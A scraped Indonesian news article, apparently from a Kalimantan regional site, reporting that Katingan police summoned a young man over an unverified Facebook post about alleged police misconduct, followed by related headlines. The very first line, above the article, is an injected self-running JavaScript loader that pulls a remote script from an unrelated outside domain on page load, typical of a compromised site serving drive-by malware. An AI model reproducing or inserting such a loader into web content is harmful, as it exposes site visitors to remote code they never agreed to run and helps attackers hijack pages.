(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KATINGAN, Polres Katingan melalui Subbaghumas memanggil seorang laki-laki, warga Telangkah untuk mempertanggungjawabkan unggahannya di media sosial, Senin (11/11/2019) sekira pukul 10.00 WIB. Kapolres Katingan AKBP E Dharma B Ginting SH SIK MH, melalui Pgs Kasubbaghumas Polres Katingan AKP Volvy Apriana SPd MA memanggil Fransisco Camismara (22), warga Jalan pinggir Sei Katingan, Desa Telangkah, Kecamatan Katingan Hilir, untuk dimintai keterangan terkait unggahannya di media sosial pribadinya. Fransisco Camismara mendatangi Polres Katingan didampingi sang istri.
“Fransisco warga Telangkah kami panggil ke Polres Katingan karena telah mengunggah berita yang belum tentu kebenarannya di akun Facebook pribadinya dengan nama @fransisco camismara,†ujarnya.
Baca: Tak Bijak di Medsos, Wanita Ini Dipanggil ke Polres Katingan
Menurut laki-laki ini -sebelumnya tertulis wanita ini-, kesehariannya tidak bekerja. Ia menyebarkan informasi yang belum tentu kebenarannya tentang foto yang diduga ada pelanggaran oleh anggota Kepolisian.
Dengan menambahkan caption “Aturan di buat untuk di langgar, Kalau tidak ada aturan tidak ada pelanggar..,†tulisnya diakun pribadinya.
Menurut pengakuan Frans, hal itu dilakukan karena melihat postingan tersebut di beranda akun miliknya dan menyebarkannya bahkan tidak menyadari kalau hal tersebut melanggar hukum.
Untuk sementara pihak Kepolisian melakukan pembinaan kepada yang bersangkutan. Supaya bijak bermedia sosial.
Frans juga diminta membuat surat pernyataan untuk tidak melakukan perbuatan serupa. Yang bersangkutan juga telah menyesali perbuatannya. Surat pernyataan untuk tidak melakukan perbuatan serupa ditulis istrinya didampingi langsung Fransisco Camismara ketika berada di Polres Katingan.
“Kami berharap tidak ada lagi warganet yang dipanggil ke Polres Katingan karena unggahannya di media sosial. Saya mengimbau kepada seluruh masyarakat Kabupaten Katingan agar bijak bermedia sosial. Dan saring informasi yang akan diunggah sebelum sharing,†imbaunya. (di/humas polres katingan)
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More
KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More
This website uses cookies.